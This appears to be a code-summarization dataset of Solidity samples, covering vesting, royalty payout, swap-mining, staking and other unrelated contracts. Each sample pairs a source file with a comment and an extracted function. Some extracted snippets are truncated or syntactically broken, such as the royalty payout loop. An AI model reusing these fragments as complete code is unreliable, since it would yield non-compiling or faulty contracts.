(10**18); // Max amount of tokens before all is released uint256 internal constant MAX_DIST_TOKENS = 150000000 * (10**18); /** * @param _tokenAddr The Address of the Token * @param _distAddr The Address of the Distribution contract * @param _releaseAddr The Address where to release funds to */ constructor(ERC20Basic _tokenAddr, IZCDistribution _distAddr, address _releaseAddr) public { token = _tokenAddr; dist = _distAddr; releaseAddress = _releaseAddr; } /** * @dev Event when Tokens are released * @param releaseAmount Amount of tokens released */ event TokenReleased(uint256 releaseAmount); /** * @dev Releases the current allowed amount to the releaseAddress. Returns the amount released */ function release() public returns (uint256) { uint256 distAmount = dist.getSentAmount(); if (distAmount < STEP_DIST_TOKENS) return 0; uint256 currBalance = token.balanceOf(address(this)); if (distAmount >= MAX_DIST_TOKENS) { assert(token.transfer(releaseAddress, currBalance)); releasedAmount = releasedAmount.add(currBalance); return currBalance; } uint256 releaseAllowed = currBalance.add(releasedAmount).div(10).mul(distAmount.div(STEP_DIST_TOKENS)); if (releaseAllowed <= releasedAmount) return 0; uint256 releaseAmount = releaseAllowed.sub(releasedAmount); releasedAmount = releasedAmount.add(releaseAmount); assert(token.transfer(releaseAddress, releaseAmount)); emit TokenReleased(releaseAmount); return releaseAmount; } /** * @dev Returns the token balance of this ZCVesting contract */ function currentBalance() public view returns (uint256) { return token.balanceOf(address(this)); } }
Releases the current allowed amount to the releaseAddress. Returns the amount released/
function release() public returns (uint256) { uint256 distAmount = dist.getSentAmount(); if (distAmount < STEP_DIST_TOKENS) return 0; uint256 currBalance = token.balanceOf(address(this)); if (distAmount >= MAX_DIST_TOKENS) { assert(token.transfer(releaseAddress, currBalance)); releasedAmount = releasedAmount.add(currBalance); return currBalance; } uint256 releaseAllowed = currBalance.add(releasedAmount).div(10).mul(distAmount.div(STEP_DIST_TOKENS)); if (releaseAllowed <= releasedAmount) return 0; uint256 releaseAmount = releaseAllowed.sub(releasedAmount); releasedAmount = releasedAmount.add(releaseAmount); assert(token.transfer(releaseAddress, releaseAmount)); emit TokenReleased(releaseAmount); return releaseAmount; }
79,263
./full_match/41/0x83A59050218A540C6e7C4380695Dc804F52F56D7/sources/contracts/ZombieVan.sol
Get the index of an NFT collection address in the nftAddresses array
function getNftCollectionIndex(address nftAddress) public view returns (uint256) { for (uint256 i = 0; i < nftAddresses.length; i++) { if (nftAddresses[i] == nftAddress) { return i; } } }
16,370,762
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.10; import {IRoyaltyEngineV1} from "@manifoldxyz/royalty-registry-solidity/contracts/IRoyaltyEngineV1.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {ERC165Checker} from "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; import {ZoraProtocolFeeSettings} from "../../auxiliary/ZoraProtocolFeeSettings/ZoraProtocolFeeSettings.sol"; import {OutgoingTransferSupportV1} from "../OutgoingTransferSupport/V1/OutgoingTransferSupportV1.sol"; /// @title FeePayoutSupportV1 /// @author tbtstl <t@zora.co> /// @notice This contract extension supports paying out protocol fees and royalties contract FeePayoutSupportV1 is OutgoingTransferSupportV1 { /// @notice The ZORA Module Registrar address public immutable registrar; /// @notice The ZORA Protocol Fee Settings ZoraProtocolFeeSettings immutable protocolFeeSettings; /// @notice The Manifold Royalty Engine IRoyaltyEngineV1 royaltyEngine; /// @notice Emitted when royalties are paid /// @param tokenContract The ERC-721 token address of the royalty payout /// @param tokenId The ERC-721 token ID of the royalty payout /// @param recipient The recipient address of the royalty /// @param amount The amount paid to the recipient event RoyaltyPayout(address indexed tokenContract, uint256 indexed tokenId, address indexed recipient, uint256 amount); /// @param _royaltyEngine The Manifold Royalty Engine V1 address /// @param _protocolFeeSettings The ZoraProtocolFeeSettingsV1 address /// @param _wethAddress WETH address /// @param _registrarAddress The Registrar address, who can update the royalty engine address constructor( address _royaltyEngine, address _protocolFeeSettings, address _wethAddress, address _registrarAddress ) OutgoingTransferSupportV1(_wethAddress) { royaltyEngine = IRoyaltyEngineV1(_royaltyEngine); protocolFeeSettings = ZoraProtocolFeeSettings(_protocolFeeSettings); registrar = _registrarAddress; } /// @notice Update the address of the Royalty Engine, in case of unexpected update on Manifold's Proxy /// @dev emergency use only – requires a frozen RoyaltyEngineV1 at commit 4ae77a73a8a73a79d628352d206fadae7f8e0f74 /// to be deployed elsewhere, or a contract matching that ABI /// @param _royaltyEngine The address for the new royalty engine function setRoyaltyEngineAddress(address _royaltyEngine) public { require(msg.sender == registrar, "setRoyaltyEngineAddress only registrar"); require( ERC165Checker.supportsInterface(_royaltyEngine, type(IRoyaltyEngineV1).interfaceId), "setRoyaltyEngineAddress must match IRoyaltyEngineV1 interface" ); royaltyEngine = IRoyaltyEngineV1(_royaltyEngine); } /// @notice Pays out protocol fee to protocol fee recipient /// @param _amount the sale amount /// @param _payoutCurrency the currency amount to pay the fee in /// @return remaining funds after paying protocol fee function _handleProtocolFeePayout(uint256 _amount, address _payoutCurrency) internal returns (uint256) { uint256 protocolFee = protocolFeeSettings.getFeeAmount(address(this), _amount); // If fee switch off -- if (protocolFee == 0) { // Return initial amount return _amount; } // Get fee recipient (, address feeRecipient) = protocolFeeSettings.moduleFeeSetting(address(this)); // Payout protocol fee _handleOutgoingTransfer(feeRecipient, protocolFee, _payoutCurrency, 50000); // Return remaining amount return _amount - protocolFee; } /// @notice Pays out royalties for given NFTs /// @param _tokenContract The NFT contract address to get royalty information from /// @param _tokenId, The Token ID to get royalty information from /// @param _amount The total sale amount /// @param _payoutCurrency The ERC-20 token address to payout royalties in, or address(0) for ETH /// @param _gasLimit The gas limit to use when attempting to payout royalties. Uses gasleft() if not provided. /// @return remaining funds after paying out royalties function _handleRoyaltyPayout( address _tokenContract, uint256 _tokenId, uint256 _amount, address _payoutCurrency, uint256 _gasLimit ) internal returns (uint256, bool) { // If no gas limit was provided or provided gas limit greater than gas left, just pass the remaining gas. uint256 gas = (_gasLimit == 0 || _gasLimit > gasleft()) ? gasleft() : _gasLimit; // External call ensuring contract doesn't run out of gas paying royalties try this._handleRoyaltyEnginePayout{gas: gas}(_tokenContract, _tokenId, _amount, _payoutCurrency) returns (uint256 remainingFunds) { // Return remaining amount if royalties payout succeeded return (remainingFunds, true); } catch { // Return initial amount if royalties payout failed return (_amount, false); } } /// @notice Pays out royalties for NFTs based on the information returned by the royalty engine /// @dev This method is external to enable setting a gas limit when called - see `_handleRoyaltyPayout`. /// @param _tokenContract The NFT Contract to get royalty information from /// @param _tokenId, The Token ID to get royalty information from /// @param _amount The total sale amount /// @param _payoutCurrency The ERC-20 token address to payout royalties in, or address(0) for ETH /// @return remaining funds after paying out royalties function _handleRoyaltyEnginePayout( address _tokenContract, uint256 _tokenId, uint256 _amount, address _payoutCurrency ) external payable returns (uint256) { require(msg.sender == address(this), "_handleRoyaltyEnginePayout only self callable"); uint256 remainingAmount = _amount; (address payable[] memory recipients, uint256[] memory amounts) = royaltyEngine.getRoyalty(_tokenContract, _tokenId, _amount); for (uint256 i = 0; i < recipients.length; i = increment(i)) { // Ensure that we aren't somehow paying out more than we have require(remainingAmount >= amounts[i], "insolvent"); // Payout each royalty recipient _handleOutgoingTransfer(recipients[i], amounts[i], _payoutCurrency, 50000); emit RoyaltyPayout(_tokenContract, _tokenId, recipients[i], amounts[i]); // Cannot underflow as remaining amount is ensured to be greater than or equal to royalty amount unchecked { remainingAmount -= amounts[i]; } } return remainingAmount; } /// @notice Unchecks for loop post condition /// @param _i The value to increment function increment(uint256 _i) internal pure returns (uint256) { unchecked { return _i + 1; } } }
Ensure that we aren't somehow paying out more than we have Payout each royalty recipient Cannot underflow as remaining amount is ensured to be greater than or equal to royalty amount
function _handleRoyaltyEnginePayout( address _tokenContract, uint256 _tokenId, uint256 _amount, address _payoutCurrency for (uint256 i = 0; i < recipients.length; i = increment(i)) { require(remainingAmount >= amounts[i], "insolvent"); _handleOutgoingTransfer(recipients[i], amounts[i], _payoutCurrency, 50000); emit RoyaltyPayout(_tokenContract, _tokenId, recipients[i], amounts[i]); unchecked { remainingAmount -= amounts[i]; } } return remainingAmount;
12,593,335
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import './interface/IMasterChef.sol'; import './uniswapv2/interfaces/IUniswapV2Factory.sol'; import './uniswapv2/interfaces/IUniswapV2Pair.sol'; import './interface/IDDX.sol'; import './interface/IOracle.sol'; import './interface/ITokenLock.sol'; import './uniswapv2/libraries/TransferHelper.sol'; contract SwapMining is Ownable { using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet private _whitelist; //lock half address public tokenLock; // DDX tokens created per block uint256 public ddxPerBlock; // The block number when DDX mining starts. uint256 public startBlock; // How many blocks are halved uint256 public halvingPeriod = 1576800; // Total allocation points uint256 public totalAllocPoint = 0; IOracle public oracle; // router address address public router; // factory address IUniswapV2Factory public factory; // ddx token address IDDX public ddx; // Calculate price based on BUSD-T address public targetToken; // pair corresponding pid mapping(address => uint256) public pairOfPid; constructor( IDDX _ddx, IUniswapV2Factory _factory, IOracle _oracle, address _router, address _targetToken, uint256 _ddxPerBlock, uint256 _startBlock, address _tokenLock ) public { ddx = _ddx; factory = _factory; oracle = _oracle; router = _router; targetToken = _targetToken; ddxPerBlock = _ddxPerBlock; startBlock = _startBlock; tokenLock = _tokenLock; } struct UserInfo { uint256 quantity; // How many LP tokens the user has provided uint256 blockNumber; // Last transaction block } struct PoolInfo { address pair; // Trading pairs that can be mined uint256 quantity; // Current amount of LPs uint256 totalQuantity; // All quantity uint256 allocPoint; // How many allocation points assigned to this pool uint256 allocDDXAmount; // How many DDXs uint256 lastRewardBlock;// Last transaction block } PoolInfo[] public poolInfo; mapping(uint256 => mapping(address => UserInfo)) public userInfo; function poolLength() public view returns (uint256) { return poolInfo.length; } function addPair(uint256 _allocPoint, address _pair, bool _withUpdate) public onlyOwner { require(_pair != address(0), "_pair is the zero address"); if (_withUpdate) { massMintPools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ pair : _pair, quantity : 0, totalQuantity : 0, allocPoint : _allocPoint, allocDDXAmount : 0, lastRewardBlock : lastRewardBlock })); pairOfPid[_pair] = poolLength() - 1; } // Update the allocPoint of the pool function setPair(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massMintPools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } function setTokenLock(address _address) public onlyOwner { require(_address != address(0), "address is not 0"); tokenLock = _address; TransferHelper.safeApprove(address(ddx), tokenLock, uint256(- 1)); } // Set the number of ddx produced by each block function setDDXPerBlock(uint256 _newPerBlock) public onlyOwner { massMintPools(); ddxPerBlock = _newPerBlock; } // Only tokens in the whitelist can be mined MDX function addWhitelist(address _addToken) public onlyOwner returns (bool) { require(_addToken != address(0), "SwapMining: token is the zero address"); return EnumerableSet.add(_whitelist, _addToken); } function delWhitelist(address _delToken) public onlyOwner returns (bool) { require(_delToken != address(0), "SwapMining: token is the zero address"); return EnumerableSet.remove(_whitelist, _delToken); } function getWhitelistLength() public view returns (uint256) { return EnumerableSet.length(_whitelist); } function isWhitelist(address _token) public view returns (bool) { return EnumerableSet.contains(_whitelist, _token); } function getWhitelist(uint256 _index) public view returns (address){ require(_index <= getWhitelistLength() - 1, "SwapMining: index out of bounds"); return EnumerableSet.at(_whitelist, _index); } function setHalvingPeriod(uint256 _block) public onlyOwner { halvingPeriod = _block; } function setRouter(address newRouter) public onlyOwner { require(newRouter != address(0), "SwapMining: new router is the zero address"); router = newRouter; } function setOracle(IOracle _oracle) public onlyOwner { require(address(_oracle) != address(0), "SwapMining: new oracle is the zero address"); oracle = _oracle; } // At what phase function phase(uint256 blockNumber) public view returns (uint256) { if (halvingPeriod == 0) { return 0; } if (blockNumber > startBlock) { return (blockNumber.sub(startBlock).sub(1)).div(halvingPeriod); } return 0; } function phase() public view returns (uint256) { return phase(block.number); } function reward(uint256 blockNumber) public view returns (uint256) { uint256 _phase = phase(blockNumber); return ddxPerBlock.div(2 ** _phase); } function reward() public view returns (uint256) { return reward(block.number); } // Rewards for the current block function getDDXReward(uint256 _lastRewardBlock) public view returns (uint256) { require(_lastRewardBlock <= block.number, "SwapMining: must little than the current block number"); uint256 blockReward = 0; uint256 n = phase(_lastRewardBlock); uint256 m = phase(block.number); // If it crosses the cycle while (n < m) { n++; // Get the last block of the previous cycle uint256 r = n.mul(halvingPeriod).add(startBlock); // Get rewards from previous periods blockReward = blockReward.add((r.sub(_lastRewardBlock)).mul(reward(r))); _lastRewardBlock = r; } blockReward = blockReward.add((block.number.sub(_lastRewardBlock)).mul(reward(block.number))); return blockReward; } // Update all pools Called when updating allocPoint and setting new blocks function massMintPools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { mint(pid); } } function mint(uint256 _pid) public returns (bool) { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return false; } uint256 blockReward = getDDXReward(pool.lastRewardBlock); if (blockReward <= 0) { return false; } // Calculate the rewards obtained by the pool based on the allocPoint uint256 ddxReward = blockReward.mul(pool.allocPoint).div(totalAllocPoint); ddx.mint(address(this), ddxReward); // Increase the number of tokens in the current pool pool.allocDDXAmount = pool.allocDDXAmount.add(ddxReward); pool.lastRewardBlock = block.number; return true; } // swapMining only router function swap(address account, address input, address output, uint256 amount) public onlyRouter returns (bool) { require(account != address(0), "SwapMining: taker swap account is the zero address"); require(input != address(0), "SwapMining: taker swap input is the zero address"); require(output != address(0), "SwapMining: taker swap output is the zero address"); if (poolLength() <= 0) { return false; } if (!isWhitelist(input) || !isWhitelist(output)) { return false; } address pair = IUniswapV2Factory(factory).getPair(input, output); PoolInfo storage pool = poolInfo[pairOfPid[pair]]; // If it does not exist or the allocPoint is 0 then return if (pool.pair != pair || pool.allocPoint <= 0) { return false; } uint256 quantity = getQuantity(output, amount, targetToken); if (quantity <= 0) { return false; } mint(pairOfPid[pair]); pool.quantity = pool.quantity.add(quantity); pool.totalQuantity = pool.totalQuantity.add(quantity); UserInfo storage user = userInfo[pairOfPid[pair]][account]; user.quantity = user.quantity.add(quantity); user.blockNumber = block.number; if (address(oracle) != address(0)) { IOracle(oracle).update(input, output); } return true; } // The user withdraws all the transaction rewards of the pool function takerWithdraw() public { uint256 userSub; uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][msg.sender]; if (user.quantity > 0) { mint(pid); // The reward held by the user in this pool uint256 userReward = pool.allocDDXAmount.mul(user.quantity).div(pool.quantity); pool.quantity = pool.quantity.sub(user.quantity); pool.allocDDXAmount = pool.allocDDXAmount.sub(userReward); user.quantity = 0; user.blockNumber = block.number; userSub = userSub.add(userReward); } } if (userSub <= 0) { return; } // ddx.transfer(msg.sender, userSub); safeTokenTransfer(msg.sender, userSub); } function getTakerReward(address account) public view returns (uint256){ uint256 userSub; uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { PoolInfo storage pool = poolInfo[pid]; UserInfo storage user = userInfo[pid][account]; if (user.quantity > 0) { uint256 userReward = pool.allocDDXAmount.mul(user.quantity).div(pool.quantity); userSub = userSub.add(userReward); } } return userSub; } // Get rewards from users in the current pool function getUserReward(uint256 _pid) public view returns (uint256, uint256){ require(_pid <= poolInfo.length - 1, "SwapMining: Not find this pool"); uint256 userSub; PoolInfo memory pool = poolInfo[_pid]; UserInfo memory user = userInfo[_pid][msg.sender]; if (user.quantity > 0) { uint256 blockReward = getDDXReward(pool.lastRewardBlock); uint256 ddxReward = blockReward.mul(pool.allocPoint).div(totalAllocPoint); userSub = userSub.add((pool.allocDDXAmount.add(ddxReward)).mul(user.quantity).div(pool.quantity)); } //ddx available to users, User transaction amount return (userSub, user.quantity); } // Get details of the pool function getPoolInfo(uint256 _pid) public view returns (address, address, uint256, uint256, uint256, uint256){ require(_pid <= poolInfo.length - 1, "SwapMining: Not find this pool"); PoolInfo memory pool = poolInfo[_pid]; address token0 = IUniswapV2Pair(pool.pair).token0(); address token1 = IUniswapV2Pair(pool.pair).token1(); uint256 ddxAmount = pool.allocDDXAmount; uint256 blockReward = getDDXReward(pool.lastRewardBlock); uint256 ddxReward = blockReward.mul(pool.allocPoint).div(totalAllocPoint); ddxAmount = ddxAmount.add(ddxReward); //token0,token1,Pool remaining reward,Total /Current transaction volume of the pool return (token0, token1, ddxAmount, pool.totalQuantity, pool.quantity, pool.allocPoint); } modifier onlyRouter() { require(msg.sender == router, "SwapMining: caller is not the router"); _; } function getQuantity(address outputToken, uint256 outputAmount, address anchorToken) public view returns (uint256) { uint256 quantity = 0; if (outputToken == anchorToken) { quantity = outputAmount; } else if (IUniswapV2Factory(factory).getPair(outputToken, anchorToken) != address(0)) { quantity = IOracle(oracle).consult(outputToken, outputAmount, anchorToken); } else { uint256 length = getWhitelistLength(); for (uint256 index = 0; index < length; index++) { address intermediate = getWhitelist(index); if (IUniswapV2Factory(factory).getPair(outputToken, intermediate) != address(0) && IUniswapV2Factory(factory).getPair(intermediate, anchorToken) != address(0)) { uint256 interQuantity = IOracle(oracle).consult(outputToken, outputAmount, intermediate); quantity = IOracle(oracle).consult(intermediate, interQuantity, anchorToken); break; } } } return quantity; } function safeTokenTransfer(address _to, uint256 _amount) internal { uint256 bal = ddx.balanceOf(address(this)); if (_amount > bal) { _amount = bal; } if (tokenLock != address(0) && ITokenLock(tokenLock).lockRate() > 0) { ITokenLock(tokenLock).getReward(_to); uint256 lock = ITokenLock(tokenLock).calLockAmount(_amount); ITokenLock(tokenLock).lockToken(_to, lock); _amount = _amount.sub(lock); } ddx.transfer(_to, _amount); } }
Get details of the pooltoken0,token1,Pool remaining reward,Total /Current transaction volume of the pool
function getPoolInfo(uint256 _pid) public view returns (address, address, uint256, uint256, uint256, uint256){ require(_pid <= poolInfo.length - 1, "SwapMining: Not find this pool"); PoolInfo memory pool = poolInfo[_pid]; address token0 = IUniswapV2Pair(pool.pair).token0(); address token1 = IUniswapV2Pair(pool.pair).token1(); uint256 ddxAmount = pool.allocDDXAmount; uint256 blockReward = getDDXReward(pool.lastRewardBlock); uint256 ddxReward = blockReward.mul(pool.allocPoint).div(totalAllocPoint); ddxAmount = ddxAmount.add(ddxReward); return (token0, token1, ddxAmount, pool.totalQuantity, pool.quantity, pool.allocPoint); }
12,974,830
./full_match/1/0x334cB66050049c1E392007B018321c44A1dbFaC4/sources/contracts/tokens/sdFPIS.sol
mint new sdFPIS, callable only by the minter _to recipient to mint for _amount amount to mint
function mint(address _to, uint256 _amount) external { require(msg.sender == minter, "!minter"); _mint(_to, _amount); }
9,649,470
pragma solidity 0.6.1; import "./Question.sol"; import "./../../../lib/UniqueNames.sol"; /** * @title QuestionList * @dev Question list */ library QuestionList { using QuestionType for QuestionType.Question; using UniqueNames for UniqueNames.List; struct List { QuestionType.Question[] list; UniqueNames.List names; } /** * @notice adds new question to list * @param _self self * @param _question question * @return id */ function add( List storage _self, QuestionType.Question memory _question ) internal returns (uint id) { require( _question.validate(), "Invalid question" ); _self.names.add(_question.name); _self.list.push(_question); return _self.list.length - 1; } /** * @notice checks id existance * @param _self self * @param _id question id * @return valid */ function checkId( List storage _self, uint _id ) internal view returns (bool valid) { return _self.list.length > _id; } }
checks id existance _self self _id question id return valid/
function checkId( List storage _self, uint _id ) internal view returns (bool valid) { return _self.list.length > _id; }
1,065,636
./partial_match/1/0x0092CD4044E1672c9c513867eb75e6213AF9742f/sources/src/strategies/absolute/LlamaAbsoluteStrategyBase.sol
@inheritdoc ILlamaStrategy
function isActionExpired(ActionInfo calldata actionInfo) external view virtual returns (bool) { Action memory action = llamaCore.getAction(actionInfo.id); return block.timestamp > action.minExecutionTime + expirationPeriod; }
9,330,074
// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol"; //import "@uniswap/v3-periphery/contracts/interfaces/INonfungiblePositionManager.sol"; //import "@uniswap/v3-periphery/contracts/libraries/TransferHelper.sol"; import "@uniswap/v3-periphery/contracts/libraries/PoolAddress.sol"; //import "../interfaces/IStakeRegistry.sol"; import "../interfaces/IStakeUniswapV3.sol"; import "../interfaces/IAutoRefactorCoinageWithTokenId.sol"; import "../interfaces/IIStake2Vault.sol"; import {DSMath} from "../libraries/DSMath.sol"; import "../common/AccessibleCommon.sol"; import "../stake/StakeUniswapV3Storage.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../libraries/SafeMath32.sol"; /// @title StakeUniswapV3 /// @notice Uniswap V3 Contract for staking LP and mining TOS contract StakeUniswapV3 is StakeUniswapV3Storage, AccessibleCommon, IStakeUniswapV3, DSMath { using SafeMath for uint256; using SafeMath32 for uint32; struct PositionInfo { // the amount of liquidity owned by this position uint128 liquidity; // fee growth per unit of liquidity as of the last update to liquidity or fees owed uint256 feeGrowthInside0LastX128; uint256 feeGrowthInside1LastX128; // the fees owed to the position owner in token0/token1 uint128 tokensOwed0; uint128 tokensOwed1; } struct Slot0 { // the current price uint160 sqrtPriceX96; // the current tick int24 tick; // the most-recently updated index of the observations array uint16 observationIndex; // the current maximum number of observations that are being stored uint16 observationCardinality; // the next maximum number of observations to store, triggered in observations.write uint16 observationCardinalityNext; // the current protocol fee as a percentage of the swap fee taken on withdrawal // represented as an integer denominator (1/x)% uint8 feeProtocol; // whether the pool is locked bool unlocked; } /// @dev event on staking /// @param to the sender /// @param poolAddress the pool address of uniswapV3 /// @param tokenId the uniswapV3 Lp token /// @param amount the amount of staking event Staked( address indexed to, address indexed poolAddress, uint256 tokenId, uint256 amount ); /// @dev event on claim /// @param to the sender /// @param poolAddress the pool address of uniswapV3 /// @param tokenId the uniswapV3 Lp token /// @param miningAmount the amount of mining /// @param nonMiningAmount the amount of non-mining event Claimed( address indexed to, address poolAddress, uint256 tokenId, uint256 miningAmount, uint256 nonMiningAmount ); /// @dev event on withdrawal /// @param to the sender /// @param tokenId the uniswapV3 Lp token /// @param miningAmount the amount of mining /// @param nonMiningAmount the amount of non-mining event WithdrawalToken( address indexed to, uint256 tokenId, uint256 miningAmount, uint256 nonMiningAmount ); /// @dev event on mining in coinage /// @param curTime the current time /// @param miningInterval mining period (sec) /// @param miningAmount the mining amount /// @param prevTotalSupply Total amount of coinage before mining /// @param afterTotalSupply Total amount of coinage after being mined /// @param factor coinage's Factor event MinedCoinage( uint256 curTime, uint256 miningInterval, uint256 miningAmount, uint256 prevTotalSupply, uint256 afterTotalSupply, uint256 factor ); /// @dev event on burning in coinage /// @param curTime the current time /// @param tokenId the token id /// @param burningAmount the buring amount /// @param prevTotalSupply Total amount of coinage before mining /// @param afterTotalSupply Total amount of coinage after being mined event BurnedCoinage( uint256 curTime, uint256 tokenId, uint256 burningAmount, uint256 prevTotalSupply, uint256 afterTotalSupply ); /// @dev constructor of StakeCoinage constructor() { _setRoleAdmin(ADMIN_ROLE, ADMIN_ROLE); _setupRole(ADMIN_ROLE, msg.sender); miningIntervalSeconds = 15; } /// @dev receive ether - revert receive() external payable { revert(); } /// @dev Mining interval setting (seconds) /// @param _intervalSeconds the mining interval (sec) function setMiningIntervalSeconds(uint256 _intervalSeconds) external onlyOwner { miningIntervalSeconds = _intervalSeconds; } /// @dev reset coinage's last mining time variable for tes function resetCoinageTime() external onlyOwner { coinageLastMintBlockTimetamp = 0; } /// @dev set sale start time /// @param _saleStartTime sale start time function setSaleStartTime(uint256 _saleStartTime) external onlyOwner { require( _saleStartTime > 0 && saleStartTime != _saleStartTime, "StakeUniswapV3: zero or same _saleStartTime" ); saleStartTime = _saleStartTime; } /// @dev calculate the factor of coinage /// @param source tsource /// @param target target /// @param oldFactor oldFactor function _calcNewFactor( uint256 source, uint256 target, uint256 oldFactor ) internal pure returns (uint256) { return rdiv(rmul(target, oldFactor), source); } /// @dev delete user's token storage of index place /// @param _owner tokenId's owner /// @param tokenId tokenId /// @param _index owner's tokenId's index function deleteUserToken( address _owner, uint256 tokenId, uint256 _index ) internal { uint256 _tokenid = userStakedTokenIds[_owner][_index]; require(_tokenid == tokenId, "StakeUniswapV3: mismatch token"); uint256 lastIndex = (userStakedTokenIds[_owner].length).sub(1); if (tokenId > 0 && _tokenid == tokenId) { if (_index < lastIndex) { uint256 tokenId_lastIndex = userStakedTokenIds[_owner][lastIndex]; userStakedTokenIds[_owner][_index] = tokenId_lastIndex; depositTokens[tokenId_lastIndex].idIndex = _index; } userStakedTokenIds[_owner].pop(); } } /// @dev mining on coinage, Mining conditions : the sale start time must pass, /// the stake start time must pass, the vault mining start time (sale start time) passes, /// the mining interval passes, and the current total amount is not zero, function miningCoinage() public lock { if (saleStartTime == 0 || saleStartTime > block.timestamp) return; if (stakeStartTime == 0 || stakeStartTime > block.timestamp) return; if ( IIStake2Vault(vault).miningStartTime() > block.timestamp || IIStake2Vault(vault).miningEndTime() < block.timestamp ) return; if (coinageLastMintBlockTimetamp == 0) coinageLastMintBlockTimetamp = stakeStartTime; if ( block.timestamp > (coinageLastMintBlockTimetamp.add(miningIntervalSeconds)) ) { uint256 miningInterval = block.timestamp.sub(coinageLastMintBlockTimetamp); uint256 miningAmount = miningInterval.mul(IIStake2Vault(vault).miningPerSecond()); uint256 prevTotalSupply = IAutoRefactorCoinageWithTokenId(coinage).totalSupply(); if (miningAmount > 0 && prevTotalSupply > 0) { uint256 afterTotalSupply = prevTotalSupply.add(miningAmount.mul(10**9)); uint256 factor = IAutoRefactorCoinageWithTokenId(coinage).setFactor( _calcNewFactor( prevTotalSupply, afterTotalSupply, IAutoRefactorCoinageWithTokenId(coinage).factor() ) ); coinageLastMintBlockTimetamp = block.timestamp; emit MinedCoinage( block.timestamp, miningInterval, miningAmount, prevTotalSupply, afterTotalSupply, factor ); } } } /// @dev view mining information of tokenId /// @param tokenId tokenId function getMiningTokenId(uint256 tokenId) public view override nonZeroAddress(poolAddress) returns ( uint256 miningAmount, uint256 nonMiningAmount, uint256 minableAmount, uint160 secondsInside, uint256 secondsInsideDiff256, uint256 liquidity, uint256 balanceOfTokenIdRay, uint256 minableAmountRay, uint256 secondsInside256, uint256 secondsAbsolute256 ) { if ( stakeStartTime < block.timestamp && stakeStartTime < block.timestamp ) { LibUniswapV3Stake.StakeLiquidity storage _depositTokens = depositTokens[tokenId]; liquidity = _depositTokens.liquidity; uint32 secondsAbsolute = 0; balanceOfTokenIdRay = IAutoRefactorCoinageWithTokenId(coinage) .balanceOf(tokenId); if (_depositTokens.liquidity > 0 && balanceOfTokenIdRay > 0) { if (balanceOfTokenIdRay > liquidity.mul(10**9)) { minableAmountRay = balanceOfTokenIdRay.sub( liquidity.mul(10**9) ); minableAmount = minableAmountRay.div(10**9); } if (minableAmount > 0) { (, , secondsInside) = IUniswapV3Pool(poolAddress) .snapshotCumulativesInside( _depositTokens.tickLower, _depositTokens.tickUpper ); secondsInside256 = uint256(secondsInside); if (_depositTokens.claimedTime > 0) secondsAbsolute = uint32(block.timestamp).sub( _depositTokens.claimedTime ); else secondsAbsolute = uint32(block.timestamp).sub( _depositTokens.startTime ); secondsAbsolute256 = uint256(secondsAbsolute); if (secondsAbsolute > 0) { if (_depositTokens.secondsInsideLast > 0) { secondsInsideDiff256 = secondsInside256.sub( uint256(_depositTokens.secondsInsideLast) ); } else { secondsInsideDiff256 = secondsInside256.sub( uint256(_depositTokens.secondsInsideInitial) ); } if ( secondsInsideDiff256 < secondsAbsolute256 && secondsInsideDiff256 > 0 ) { miningAmount = minableAmount .mul(secondsInsideDiff256) .div(secondsAbsolute256); nonMiningAmount = minableAmount.sub(miningAmount); } else if(secondsInsideDiff256 > 0){ miningAmount = minableAmount; } else { nonMiningAmount = minableAmount; } } } } } } /// @dev With the given tokenId, information is retrieved from nonfungiblePositionManager, /// and the pool address is calculated and set. /// @param tokenId tokenId function setPoolAddress(uint256 tokenId) external onlyOwner nonZeroAddress(token) nonZeroAddress(vault) nonZeroAddress(stakeRegistry) nonZeroAddress(poolToken0) nonZeroAddress(poolToken1) nonZeroAddress(address(nonfungiblePositionManager)) nonZeroAddress(uniswapV3FactoryAddress) { require(poolAddress == address(0), "StakeUniswapV3: already set"); (, , address token0, address token1, uint24 fee, , , , , , , ) = nonfungiblePositionManager.positions(tokenId); require( (token0 == poolToken0 && token1 == poolToken1) || (token0 == poolToken1 && token1 == poolToken0), "StakeUniswapV3: different token" ); poolToken0 = token0; poolToken1 = token1; poolAddress = PoolAddress.computeAddress( uniswapV3FactoryAddress, PoolAddress.PoolKey({token0: token0, token1: token1, fee: fee}) ); poolFee = fee; } /// @dev stake tokenId of UniswapV3 /// @param tokenId tokenId /// @param deadline the deadline that valid the owner's signature /// @param v the owner's signature - v /// @param r the owner's signature - r /// @param s the owner's signature - s function stakePermit( uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external override nonZeroAddress(token) nonZeroAddress(vault) nonZeroAddress(stakeRegistry) nonZeroAddress(poolToken0) nonZeroAddress(poolToken1) nonZeroAddress(address(nonfungiblePositionManager)) nonZeroAddress(uniswapV3FactoryAddress) { require( saleStartTime < block.timestamp, "StakeUniswapV3: before start" ); require( block.timestamp < IIStake2Vault(vault).miningEndTime(), "StakeUniswapV3: end mining" ); require( nonfungiblePositionManager.ownerOf(tokenId) == msg.sender, "StakeUniswapV3: not owner" ); 